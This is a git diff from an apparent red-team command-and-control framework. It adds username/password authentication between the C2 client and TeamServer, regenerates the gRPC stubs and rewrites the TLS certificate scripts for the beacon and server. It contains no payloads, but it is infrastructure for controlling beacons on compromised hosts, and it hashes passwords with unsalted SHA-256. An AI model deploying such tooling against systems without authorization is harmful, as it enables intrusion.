diff --git a/.gitignore b/.gitignore index f1ea7bb..e6b6685 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,11 @@ Tests C2Client/build/ .vscode -build/ \ No newline at end of file +build/ +C2Client/.cmdHistory +C2Client/.termHistory +C2Client/Beacon.exe +C2Client/C2Client/Scripts/__init__.py +C2Client/C2Client/TerminalModules/__pycache__/ +C2Client/loader.bin +updateRelease.sh diff --git a/C2Client/C2Client/GUI.py b/C2Client/C2Client/GUI.py index 64e9b5b..1b1e702 100644 --- a/C2Client/C2Client/GUI.py +++ b/C2Client/C2Client/GUI.py @@ -1,16 +1,22 @@ import argparse import logging +import os import signal import sys -from typing import Optional +from typing import Optional, Tuple from PyQt6.QtWidgets import ( QApplication, + QDialog, + QDialogButtonBox, QGridLayout, QHBoxLayout, + QLabel, + QLineEdit, QMainWindow, QPushButton, QTabWidget, + QVBoxLayout, QWidget, ) @@ -27,18 +33,75 @@ logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - % signal.signal(signal.SIGINT, signal.SIG_DFL) +class CredentialDialog(QDialog): + """Prompt for credentials when environment variables are absent.""" + + def __init__(self, parent: Optional[QWidget] = None, default_username: str = "") -> None: + super().__init__(parent) + self.setWindowTitle("Login") + self.setModal(True) + + layout = QVBoxLayout(self) + description = QLabel("Login:") + description.setWordWrap(True) + layout.addWidget(description) + + self.username_input = QLineEdit(self) + self.username_input.setPlaceholderText("Username") + if default_username: + self.username_input.setText(default_username) + layout.addWidget(self.username_input) + + self.password_input = QLineEdit(self) + self.password_input.setPlaceholderText("Password") + self.password_input.setEchoMode(QLineEdit.EchoMode.Password) + layout.addWidget(self.password_input) + + self.error_label = QLabel("Username and password are required.") + self.error_label.setStyleSheet("color: red;") + self.error_label.setVisible(False) + layout.addWidget(self.error_label) + + buttons = QDialogButtonBox(QDialogButtonBox.StandardButton.Ok | QDialogButtonBox.StandardButton.Cancel) + buttons.accepted.connect(self._handle_accept) + buttons.rejected.connect(self.reject) + layout.addWidget(buttons) + + def _handle_accept(self) -> None: + username = self.username_input.text().strip() + password = self.password_input.text() + if not username or not password: + self.error_label.setVisible(True) + return + self.accept() + + def credentials(self) -> Tuple[str, str]: + return self.username_input.text().strip(), self.password_input.text() + + class App(QMainWindow): """Main application window for the C2 client.""" - def __init__(self, ip: str, port: int, devMode: bool) -> None: + def __init__(self, ip: str, port: int, devMode: bool, credentials: Optional[Tuple[str, str]] = None) -> None: super().__init__() self.ip = ip self.port = port self.devMode = devMode + username: Optional[str] = None + password: Optional[str] = None + if credentials: + username, password = credentials + try: - self.grpcClient = GrpcClient(self.ip, self.port, self.devMode) + self.grpcClient = GrpcClient( + self.ip, + self.port, + self.devMode, + username=username, + password=password, + ) except ValueError as e: raise e @@ -136,8 +199,20 @@ def main() -> None: app = QApplication(sys.argv) app.setStyleSheet(qdarktheme.load_stylesheet()) + username = os.getenv("C2_USERNAME") + password = os.getenv("C2_PASSWORD") + + credentials: Optional[Tuple[str, str]] = None + if username and password: + credentials = (username, password) + else: + dialog = CredentialDialog(default_username=username or "") + if dialog.exec() != QDialog.DialogCode.Accepted: + sys.exit(1) + credentials = dialog.credentials() + try: - window = App(args.ip, args.port, args.dev) + window = App(args.ip, args.port, args.dev, credentials) window.show() sys.exit(app.exec()) except ValueError: diff --git a/C2Client/C2Client/grpcClient.py b/C2Client/C2Client/grpcClient.py index 7f85bf5..c937f23 100644 --- a/C2Client/C2Client/grpcClient.py +++ b/C2Client/C2Client/grpcClient.py @@ -9,7 +9,7 @@ import logging import os import sys import uuid -from typing import Any, Iterable, List, Tuple +from typing import Any, Iterable, List, Tuple, Optional sys.path.append(os.path.dirname(os.path.abspath(__file__)) + '/libGrpcMessages/build/py/') @@ -34,9 +34,21 @@ class GrpcClient: If ``True`` the SSL hostname check is disabled. token: Bearer token used for authentication metadata. + username: + Username to authenticate with. If omitted, environment variables are used. + password: + Password to authenticate with. If omitted, environment variables are used. """ - def __init__(self, ip: str, port: int, devMode: bool, token: str = "my-secret-token") -> None: + def __init__( + self, + ip: str, + port: int, + devMode: bool, + token: Optional[str] = None, + username: Optional[str] = None, + password: Optional[str] = None, + ) -> None: env_cert_path = os.getenv('C2_CERT_PATH') if env_cert_path and os.path.isfile(env_cert_path): @@ -91,11 +103,37 @@ class GrpcClient: raise ValueError("grpcClient: unable to connect") from exc self.stub = TeamServerApi_pb2_grpc.TeamServerApiStub(self.channel) + + if token is None: + if username is None or password is None: + username, password = self._load_credentials_from_env() + token = self._authenticate(username, password) + self.metadata: MetadataType = [ ("authorization", f"Bearer {token}"), ("clientid", str(uuid.uuid4())[:16]), ] + def _load_credentials_from_env(self) -> Tuple[str, str]: + username = os.getenv("C2_USERNAME") + password = os.getenv("C2_PASSWORD") + if not username or not password: + raise ValueError( + "grpcClient: missing C2_USERNAME or C2_PASSWORD environment variables for authentication", + ) + return username, password + + def _authenticate(self, username: str, password: str) -> str: + request = TeamServerApi_pb2.AuthRequest(username=username, password=password) + response = self.stub.Authenticate(request) + if response.status != TeamServerApi_pb2.OK or not response.token: + message = response.message or "unknown authentication error" + logging.error("Authentication failed for user %s: %s", username, message) + raise ValueError(f"grpcClient: authentication failed: {message}") + + logging.info("Authenticated against TeamServer as %s", username) + return response.token + def getListeners(self) -> Any: """Return the list of listeners registered on the TeamServer.""" diff --git a/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py b/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py index 778c2db..457f8cb 100644 --- a/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py +++ b/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2.py @@ -24,29 +24,33 @@ _sym_db = _symbol_database.Default() -DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x13TeamServerApi.proto\x12\rteamserverapi\"\x07\n\x05\x45mpty\"B\n\x08Response\x12%\n\x06status\x18\x01 \x01(\x0e\x32\x15.teamserverapi.Status\x12\x0f\n\x07message\x18\x02 \x01(\x0c\"\xa5\x01\n\x08Listener\x12\x14\n\x0clistenerHash\x18\x01 \x01(\t\x12\x0c\n\x04type\x18\x02 \x01(\t\x12\x0c\n\x04port\x18\x03 \x01(\x05\x12\n\n\x02ip\x18\x04 \x01(\t\x12\x0f\n\x07project\x18\x06 \x01(\t\x12\r\n\x05token\x18\x07 \x01(\t\x12\x0e\n\x06\x64omain\x18\x08 \x01(\t\x12\x17\n\x0fnumberOfSession\x18\x05 \x01(\x05\x12\x12\n\nbeaconHash\x18\t \x01(\t\"\xf4\x01\n\x07Session\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x10\n\x08hostname\x18\x03 \x01(\t\x12\x10\n\x08username\x18\x04 \x01(\t\x12\x0c\n\x04\x61rch\x18\x05 \x01(\t\x12\x11\n\tprivilege\x18\x06 \x01(\t\x12\n\n\x02os\x18\x07 \x01(\t\x12\x17\n\x0flastProofOfLife\x18\x08 \x01(\t\x12\x0e\n\x06killed\x18\t \x01(\x08\x12\x13\n\x0binternalIps\x18\n \x01(\t\x12\x11\n\tprocessId\x18\x0b \x01(\t\x12\x1d\n\x15\x61\x64\x64itionalInformation\x18\x0c \x01(\t\"@\n\x07\x43ommand\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\"Y\n\x0f\x43ommandResponse\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x13\n\x0binstruction\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\x12\x10\n\x08response\x18\x04 \x01(\x0c\"8\n\x0bTermCommand\x12\x0b\n\x03\x63md\x18\x01 \x01(\t\x12\x0e\n\x06result\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x03 \x01(\x0c*\x18\n\x06Status\x12\x06\n\x02OK\x10\x00\x12\x06\n\x02KO\x10\x01\x32\x87\x05\n\rTeamServerApi\x12\x41\n\x0cGetListeners\x12\x14.teamserverapi.Empty\x1a\x17.teamserverapi.Listener\"\x00\x30\x01\x12\x41\n\x0b\x41\x64\x64Listener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12\x42\n\x0cStopListener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12?\n\x0bGetSessions\x12\x14.teamserverapi.Empty\x1a\x16.teamserverapi.Session\"\x00\x30\x01\x12@\n\x0bStopSession\x12\x16.teamserverapi.Session\x1a\x17.teamserverapi.Response\"\x00\x12\x43\n\x07GetHelp\x12\x16.teamserverapi.Command\x1a\x1e.teamserverapi.CommandResponse\"\x00\x12\x45\n\x10SendCmdToSession\x12\x16.teamserverapi.Command\x1a\x17.teamserverapi.Response\"\x00\x12T\n\x16GetResponseFromSession\x12\x16.teamserverapi.Session\x1a\x1e.teamserverapi.CommandResponse\"\x00\x30\x01\x12G\n\x0bSendTermCmd\x12\x1a.teamserverapi.TermCommand\x1a\x1a.teamserverapi.TermCommand\"\x00\x62\x06proto3') +DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x13TeamServerApi.proto\x12\rteamserverapi\"\x07\n\x05\x45mpty\"1\n\x0b\x41uthRequest\x12\x10\n\x08username\x18\x01 \x01(\t\x12\x10\n\x08password\x18\x02 \x01(\t\"U\n\x0c\x41uthResponse\x12%\n\x06status\x18\x01 \x01(\x0e\x32\x15.teamserverapi.Status\x12\r\n\x05token\x18\x02 \x01(\t\x12\x0f\n\x07message\x18\x03 \x01(\t\"B\n\x08Response\x12%\n\x06status\x18\x01 \x01(\x0e\x32\x15.teamserverapi.Status\x12\x0f\n\x07message\x18\x02 \x01(\x0c\"\xa5\x01\n\x08Listener\x12\x14\n\x0clistenerHash\x18\x01 \x01(\t\x12\x0c\n\x04type\x18\x02 \x01(\t\x12\x0c\n\x04port\x18\x03 \x01(\x05\x12\n\n\x02ip\x18\x04 \x01(\t\x12\x0f\n\x07project\x18\x06 \x01(\t\x12\r\n\x05token\x18\x07 \x01(\t\x12\x0e\n\x06\x64omain\x18\x08 \x01(\t\x12\x17\n\x0fnumberOfSession\x18\x05 \x01(\x05\x12\x12\n\nbeaconHash\x18\t \x01(\t\"\xf4\x01\n\x07Session\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x10\n\x08hostname\x18\x03 \x01(\t\x12\x10\n\x08username\x18\x04 \x01(\t\x12\x0c\n\x04\x61rch\x18\x05 \x01(\t\x12\x11\n\tprivilege\x18\x06 \x01(\t\x12\n\n\x02os\x18\x07 \x01(\t\x12\x17\n\x0flastProofOfLife\x18\x08 \x01(\t\x12\x0e\n\x06killed\x18\t \x01(\x08\x12\x13\n\x0binternalIps\x18\n \x01(\t\x12\x11\n\tprocessId\x18\x0b \x01(\t\x12\x1d\n\x15\x61\x64\x64itionalInformation\x18\x0c \x01(\t\"@\n\x07\x43ommand\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x14\n\x0clistenerHash\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\"Y\n\x0f\x43ommandResponse\x12\x12\n\nbeaconHash\x18\x01 \x01(\t\x12\x13\n\x0binstruction\x18\x02 \x01(\t\x12\x0b\n\x03\x63md\x18\x03 \x01(\t\x12\x10\n\x08response\x18\x04 \x01(\x0c\"8\n\x0bTermCommand\x12\x0b\n\x03\x63md\x18\x01 \x01(\t\x12\x0e\n\x06result\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x03 \x01(\x0c*\x18\n\x06Status\x12\x06\n\x02OK\x10\x00\x12\x06\n\x02KO\x10\x01\x32\xd2\x05\n\rTeamServerApi\x12I\n\x0c\x41uthenticate\x12\x1a.teamserverapi.AuthRequest\x1a\x1b.teamserverapi.AuthResponse\"\x00\x12\x41\n\x0cGetListeners\x12\x14.teamserverapi.Empty\x1a\x17.teamserverapi.Listener\"\x00\x30\x01\x12\x41\n\x0b\x41\x64\x64Listener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12\x42\n\x0cStopListener\x12\x17.teamserverapi.Listener\x1a\x17.teamserverapi.Response\"\x00\x12?\n\x0bGetSessions\x12\x14.teamserverapi.Empty\x1a\x16.teamserverapi.Session\"\x00\x30\x01\x12@\n\x0bStopSession\x12\x16.teamserverapi.Session\x1a\x17.teamserverapi.Response\"\x00\x12\x43\n\x07GetHelp\x12\x16.teamserverapi.Command\x1a\x1e.teamserverapi.CommandResponse\"\x00\x12\x45\n\x10SendCmdToSession\x12\x16.teamserverapi.Command\x1a\x17.teamserverapi.Response\"\x00\x12T\n\x16GetResponseFromSession\x12\x16.teamserverapi.Session\x1a\x1e.teamserverapi.CommandResponse\"\x00\x30\x01\x12G\n\x0bSendTermCmd\x12\x1a.teamserverapi.TermCommand\x1a\x1a.teamserverapi.TermCommand\"\x00\x62\x06proto3') _globals = globals() _builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals) _builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'TeamServerApi_pb2', _globals) if not _descriptor._USE_C_DESCRIPTORS: DESCRIPTOR._loaded_options = None - _globals['_STATUS']._serialized_start=745 - _globals['_STATUS']._serialized_end=769 + _globals['_STATUS']._serialized_start=883 + _globals['_STATUS']._serialized_end=907 _globals['_EMPTY']._serialized_start=38 _globals['_EMPTY']._serialized_end=45 - _globals['_RESPONSE']._serialized_start=47 - _globals['_RESPONSE']._serialized_end=113 - _globals['_LISTENER']._serialized_start=116 - _globals['_LISTENER']._serialized_end=281 - _globals['_SESSION']._serialized_start=284 - _globals['_SESSION']._serialized_end=528 - _globals['_COMMAND']._serialized_start=530 - _globals['_COMMAND']._serialized_end=594 - _globals['_COMMANDRESPONSE']._serialized_start=596 - _globals['_COMMANDRESPONSE']._serialized_end=685 - _globals['_TERMCOMMAND']._serialized_start=687 - _globals['_TERMCOMMAND']._serialized_end=743 - _globals['_TEAMSERVERAPI']._serialized_start=772 - _globals['_TEAMSERVERAPI']._serialized_end=1419 + _globals['_AUTHREQUEST']._serialized_start=47 + _globals['_AUTHREQUEST']._serialized_end=96 + _globals['_AUTHRESPONSE']._serialized_start=98 + _globals['_AUTHRESPONSE']._serialized_end=183 + _globals['_RESPONSE']._serialized_start=185 + _globals['_RESPONSE']._serialized_end=251 + _globals['_LISTENER']._serialized_start=254 + _globals['_LISTENER']._serialized_end=419 + _globals['_SESSION']._serialized_start=422 + _globals['_SESSION']._serialized_end=666 + _globals['_COMMAND']._serialized_start=668 + _globals['_COMMAND']._serialized_end=732 + _globals['_COMMANDRESPONSE']._serialized_start=734 + _globals['_COMMANDRESPONSE']._serialized_end=823 + _globals['_TERMCOMMAND']._serialized_start=825 + _globals['_TERMCOMMAND']._serialized_end=881 + _globals['_TEAMSERVERAPI']._serialized_start=910 + _globals['_TEAMSERVERAPI']._serialized_end=1632 # @@protoc_insertion_point(module_scope) diff --git a/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py b/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py index ac15b06..6555949 100644 --- a/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py +++ b/C2Client/C2Client/libGrpcMessages/build/py/TeamServerApi_pb2_grpc.py @@ -15,6 +15,11 @@ class TeamServerApiStub(object): Args: channel: A grpc.Channel. """ + self.Authenticate = channel.unary_unary( + '/teamserverapi.TeamServerApi/Authenticate', + request_serializer=TeamServerApi__pb2.AuthRequest.SerializeToString, + response_deserializer=TeamServerApi__pb2.AuthResponse.FromString, + _registered_method=True) self.GetListeners = channel.unary_stream( '/teamserverapi.TeamServerApi/GetListeners', request_serializer=TeamServerApi__pb2.Empty.SerializeToString, @@ -66,6 +71,12 @@ class TeamServerApiServicer(object): """Interface exported by the server. """ + def Authenticate(self, request, context): + """Missing associated documentation comment in .proto file.""" + context.set_code(grpc.StatusCode.UNIMPLEMENTED) + context.set_details('Method not implemented!') + raise NotImplementedError('Method not implemented!') + def GetListeners(self, request, context): """Missing associated documentation comment in .proto file.""" context.set_code(grpc.StatusCode.UNIMPLEMENTED) @@ -123,6 +134,11 @@ class TeamServerApiServicer(object): def add_TeamServerApiServicer_to_server(servicer, server): rpc_method_handlers = { + 'Authenticate': grpc.unary_unary_rpc_method_handler( + servicer.Authenticate, + request_deserializer=TeamServerApi__pb2.AuthRequest.FromString, + response_serializer=TeamServerApi__pb2.AuthResponse.SerializeToString, + ), 'GetListeners': grpc.unary_stream_rpc_method_handler( servicer.GetListeners, request_deserializer=TeamServerApi__pb2.Empty.FromString, @@ -180,6 +196,33 @@ class TeamServerApi(object): """Interface exported by the server. """ + @staticmethod + def Authenticate(request, + target, + options=(), + channel_credentials=None, + call_credentials=None, + insecure=False, + compression=None, + wait_for_ready=None, + timeout=None, + metadata=None): + return grpc.experimental.unary_unary( + request, + target, + '/teamserverapi.TeamServerApi/Authenticate', + TeamServerApi__pb2.AuthRequest.SerializeToString, + TeamServerApi__pb2.AuthResponse.FromString, + options, + channel_credentials, + insecure, + call_credentials, + compression, + wait_for_ready, + timeout, + metadata, + _registered_method=True) + @staticmethod def GetListeners(request, target, diff --git a/C2Client/pyproject.toml b/C2Client/pyproject.toml index 3ea2d34..bb903c0 100644 --- a/C2Client/pyproject.toml +++ b/C2Client/pyproject.toml @@ -17,7 +17,8 @@ dependencies = [ "pwn==1.0", "pefile==2024.8.26", "openai==1.102.0", - "donut-shellcode" + "donut-shellcode", + "markdown" ] [project.optional-dependencies] @@ -41,4 +42,4 @@ C2Client = [ ] [project.scripts] -c2client = "C2Client.GUI:main" # Entry point for CLI tool \ No newline at end of file +c2client = "C2Client.GUI:main" # Entry point for CLI tool diff --git a/C2Client/requirements.txt b/C2Client/requirements.txt index fa567b3..9829abf 100644 --- a/C2Client/requirements.txt +++ b/C2Client/requirements.txt @@ -11,3 +11,4 @@ openai==1.102.0 pytest==8.4.1 pytest-qt==4.5.0 donut-shellcode +markdown diff --git a/certs/sslBeaconHttps/genSslCert.sh b/certs/sslBeaconHttps/genSslCert.sh index 0cbb883..23fc271 100755 --- a/certs/sslBeaconHttps/genSslCert.sh +++ b/certs/sslBeaconHttps/genSslCert.sh @@ -1,43 +1,47 @@ -#! /bin/bash +#!/usr/bin/env bash -if [ "$#" -ne 1 ] -then - echo "Error: No domain name argument provided" - echo "Usage: Provide a domain name as an argument" - exit 1 +set -euo pipefail + +if [[ $# -ne 1 ]]; then + echo "Usage: $0 " >&2 + exit 1 fi -DOMAIN=$1 +DOMAIN="$1" -# Create root CA & Private key +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +pushd "${SCRIPT_DIR}" >/dev/null -openssl req -x509 \ - -sha256 -days 356 \ - -nodes \ - -newkey rsa:2048 \ - -subj "/CN=${DOMAIN}/C=US/L=San Fransisco" \ - -keyout rootCA.key -out rootCA.crt +rm -f rootCA.key rootCA.crt rootCA.srl \ + "${DOMAIN}.key" "${DOMAIN}.csr" "${DOMAIN}.crt" \ + csr.conf cert.ext -# Generate Private key +# --------------------------------------------------------------------------- +# Root CA used to sign the beacon HTTPS certificate. +# --------------------------------------------------------------------------- +openssl req -x509 -newkey rsa:4096 -days 3650 -nodes \ + -keyout rootCA.key -out rootCA.crt \ + -subj "/C=US/ST=California/L=San Francisco/O=C2TeamServer/OU=Beacon/CN=${DOMAIN} Root CA" -openssl genrsa -out ${DOMAIN}.key 2048 +# --------------------------------------------------------------------------- +# Private key and CSR for the provided domain. +# --------------------------------------------------------------------------- +openssl genrsa -out "${DOMAIN}.key" 2048 -# Create csf conf - -cat > csr.conf < csr.conf [ req ] -default_bits = 2048 -prompt = no -default_md = sha256 -req_extensions = req_ext +default_bits = 2048 +prompt = no +default_md = sha256 +req_extensions = req_ext distinguished_name = dn [ dn ] -C = US +C = US ST = California -L = San Fransisco -O = SuperOrga -OU = SuperOrga Dev +L = San Francisco +O = C2TeamServer +OU = Beacon CN = ${DOMAIN} [ req_ext ] @@ -46,34 +50,29 @@ subjectAltName = @alt_names [ alt_names ] DNS.1 = ${DOMAIN} DNS.2 = www.${DOMAIN} -IP.1 = 192.168.1.2 -IP.2 = 192.168.1.3 - +IP.1 = 192.168.1.2 +IP.2 = 192.168.1.3 EOF -# create CSR request using private key +openssl req -new -key "${DOMAIN}.key" -out "${DOMAIN}.csr" -config csr.conf -openssl req -new -key ${DOMAIN}.key -out ${DOMAIN}.csr -config csr.conf +cat < cert.ext +authorityKeyIdentifier = keyid,issuer +basicConstraints = CA:FALSE +extendedKeyUsage = serverAuth +keyUsage = digitalSignature,keyEncipherment +subjectAltName = @alt_names -# Create a external config file for the certificate - -cat > cert.conf </dev/null diff --git a/certs/sslTeamServ/ca-config.json b/certs/sslTeamServ/ca-config.json deleted file mode 100644 index fd4f754..0000000 --- a/certs/sslTeamServ/ca-config.json +++ /dev/null @@ -1,11 +0,0 @@ -{ - "signing": { - "profiles": { - "default": { - "usages": ["signing", "key encipherment", "server auth", "client auth"], - "expiry": "8760h" - } - } - } - } - \ No newline at end of file diff --git a/certs/sslTeamServ/ca-csr.json b/certs/sslTeamServ/ca-csr.json deleted file mode 100644 index 824065c..0000000 --- a/certs/sslTeamServ/ca-csr.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "CN": "Example CA", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "San Francisco", - "O": "Example", - "OU": "CertificateAuthority", - "ST": "California" - } - ] -} diff --git a/certs/sslTeamServ/client-csr.json b/certs/sslTeamServ/client-csr.json deleted file mode 100644 index 78d2959..0000000 --- a/certs/sslTeamServ/client-csr.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "CN": "TestClient", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "San Francisco", - "O": "Example", - "OU": "SRE-Operations", - "ST": "California" - } - ] - } - \ No newline at end of file diff --git a/certs/sslTeamServ/genSslCert.sh b/certs/sslTeamServ/genSslCert.sh index b9535e4..44f8ccd 100755 --- a/certs/sslTeamServ/genSslCert.sh +++ b/certs/sslTeamServ/genSslCert.sh @@ -1,12 +1,111 @@ -#! /bin/bash +#!/usr/bin/env bash -# https://github.com/joekottke/python-grpc-ssl +set -euo pipefail -# Generate CA Certificate and Config -cfssl gencert -initca ca-csr.json | cfssljson -bare ca +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +pushd "${SCRIPT_DIR}" >/dev/null -# Server Certificate -cfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json -hostname='127.0.0.1,localhost' server-csr.json | cfssljson -bare server +# Ensure a clean slate so repeated executions do not reuse stale material. +rm -f ca.pem ca-key.pem ca.srl \ + server-key.pem server.csr server.pem server.ext server.cnf \ + client-key.pem client.csr client.pem client.ext client.cnf -# Client Certificate -cfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json client-csr.json | cfssljson -bare client \ No newline at end of file +# --------------------------------------------------------------------------- +# Root CA +# --------------------------------------------------------------------------- +openssl req -x509 -newkey rsa:4096 -days 3650 -nodes \ + -keyout ca-key.pem -out ca.pem \ + -subj "/C=US/ST=California/L=San Francisco/O=C2TeamServer/OU=Certificate Services/CN=C2TeamServer Root CA" + +# --------------------------------------------------------------------------- +# Server certificate (used by the TeamServer itself) +# --------------------------------------------------------------------------- +cat <<'EOF' > server.cnf +[ req ] +default_bits = 2048 +prompt = no +default_md = sha256 +req_extensions = req_ext +distinguished_name = dn + +[ dn ] +C = US +ST = California +L = San Francisco +O = C2TeamServer +OU = TeamServer +CN = localhost + +[ req_ext ] +subjectAltName = @alt_names + +[ alt_names ] +DNS.1 = localhost +IP.1 = 127.0.0.1 +EOF + +openssl genrsa -out server-key.pem 2048 +openssl req -new -key server-key.pem -out server.csr -config server.cnf + +cat <<'EOF' > server.ext +authorityKeyIdentifier = keyid,issuer +basicConstraints = CA:FALSE +extendedKeyUsage = serverAuth +keyUsage = digitalSignature,keyEncipherment +subjectAltName = @alt_names + +[ alt_names ] +DNS.1 = localhost +IP.1 = 127.0.0.1 +EOF + +openssl x509 -req -in server.csr -CA ca.pem -CAkey ca-key.pem \ + -CAcreateserial -out server.pem -days 825 -sha256 -extfile server.ext + +# --------------------------------------------------------------------------- +# Client certificate (used by gRPC clients) +# --------------------------------------------------------------------------- +cat <<'EOF' > client.cnf +[ req ] +default_bits = 2048 +prompt = no +default_md = sha256 +req_extensions = req_ext +distinguished_name = dn + +[ dn ] +C = US +ST = California +L = San Francisco +O = C2TeamServer +OU = TeamServer Client +CN = client + +[ req_ext ] +subjectAltName = @alt_names + +[ alt_names ] +DNS.1 = client +EOF + +openssl genrsa -out client-key.pem 2048 +openssl req -new -key client-key.pem -out client.csr -config client.cnf + +cat <<'EOF' > client.ext +authorityKeyIdentifier = keyid,issuer +basicConstraints = CA:FALSE +extendedKeyUsage = clientAuth +keyUsage = digitalSignature,keyEncipherment +subjectAltName = @alt_names + +[ alt_names ] +DNS.1 = client +EOF + +openssl x509 -req -in client.csr -CA ca.pem -CAkey ca-key.pem \ + -CAcreateserial -out client.pem -days 825 -sha256 -extfile client.ext + +# Remove transient files that are not required by the build system. +rm -f server.csr server.ext server.cnf client.csr client.ext client.cnf ca.srl + +popd >/dev/null diff --git a/certs/sslTeamServ/server-csr.json b/certs/sslTeamServ/server-csr.json deleted file mode 100644 index 8e86bed..0000000 --- a/certs/sslTeamServ/server-csr.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "CN": "server.example.com", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "San Francisco", - "O": "Example", - "OU": "SRE-Operations", - "ST": "California" - } - ] - } - \ No newline at end of file diff --git a/core b/core index 4cd9ad3..2f6652d 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit 4cd9ad35c36c1fc63c9fb7529a78c217087ec695 +Subproject commit 2f6652ddbb70378c187e06d64285175f2f5cfcfb diff --git a/libs/libGrpcMessages/src/TeamServerApi.proto b/libs/libGrpcMessages/src/TeamServerApi.proto index 9496078..8d92621 100644 --- a/libs/libGrpcMessages/src/TeamServerApi.proto +++ b/libs/libGrpcMessages/src/TeamServerApi.proto @@ -4,8 +4,9 @@ package teamserverapi; // Interface exported by the server. -service TeamServerApi +service TeamServerApi { + rpc Authenticate(AuthRequest) returns (AuthResponse) {} rpc GetListeners(Empty) returns (stream Listener) {} rpc AddListener(Listener) returns (Response) {} rpc StopListener(Listener) returns (Response) {} @@ -21,12 +22,27 @@ service TeamServerApi } -message Empty +message Empty { } -enum Status +message AuthRequest +{ + string username = 1; + string password = 2; +} + + +message AuthResponse +{ + Status status = 1; + string token = 2; + string message = 3; +} + + +enum Status { OK = 0; KO = 1; diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 7858413..39d915b 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -2,9 +2,17 @@ #include +#include +#include #include #include #include +#include +#include +#include +#include +#include +#include using namespace std; using namespace std::placeholders; @@ -12,364 +20,717 @@ namespace fs = std::filesystem; using json = nlohmann::json; - typedef ModuleCmd* (*constructProc)(); +namespace +{ +spdlog::level::level_enum parseLogLevel(std::string level, bool& isUnknown) +{ + isUnknown = false; -inline bool port_in_use(unsigned short port) + std::transform(level.begin(), level.end(), level.begin(), + [](unsigned char c) + { return static_cast(std::tolower(c)); }); + + static const std::unordered_map levelMap = + { + {"trace", spdlog::level::trace}, + {"debug", spdlog::level::debug}, + {"info", spdlog::level::info}, + {"warn", spdlog::level::warn}, + {"warning", spdlog::level::warn}, + {"err", spdlog::level::err}, + {"error", spdlog::level::err}, + {"critical", spdlog::level::critical}, + {"off", spdlog::level::off}}; + + auto it = levelMap.find(level); + if (it != levelMap.end()) + return it->second; + + isUnknown = true; + return spdlog::level::info; +} +} // namespace + +inline bool port_in_use(unsigned short port) { - return 0; + return 0; } - - -TeamServer::TeamServer(const nlohmann::json& config) -: m_config(config) -, m_isSocksServerRunning(false) -, m_isSocksServerBinded(false) +static std::string computeBufferMd5(const std::string& buffer) { - // Logger - std::vector sinks; + if (buffer.empty()) + return ""; - auto console_sink = std::make_shared(); - console_sink->set_level(spdlog::level::info); + unsigned char result[MD5_DIGEST_LENGTH]; + MD5_CTX ctx; + MD5_Init(&ctx); + MD5_Update(&ctx, buffer.data(), buffer.size()); + MD5_Final(result, &ctx); + + std::ostringstream oss; + for (int i = 0; i < MD5_DIGEST_LENGTH; ++i) + oss << std::hex << std::setw(2) << std::setfill('0') << (int)result[i]; + + return oss.str(); +} + +std::string TeamServer::generateToken() const +{ + static constexpr char charset[] = + "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + + std::random_device rd; + std::mt19937 generator(rd()); + std::uniform_int_distribution distribution(0, sizeof(charset) - 2); + + std::string token(64, '\0'); + for (auto& ch : token) + { + ch = charset[distribution(generator)]; + } + + return token; +} + +std::string TeamServer::hashPassword(const std::string& password) const +{ + unsigned char hash[SHA256_DIGEST_LENGTH]; + SHA256_CTX ctx; + + SHA256_Init(&ctx); + SHA256_Update(&ctx, reinterpret_cast(password.data()), password.size()); + SHA256_Final(hash, &ctx); + + std::ostringstream oss; + for (size_t i = 0; i < SHA256_DIGEST_LENGTH; ++i) + { + oss << std::hex << std::setw(2) << 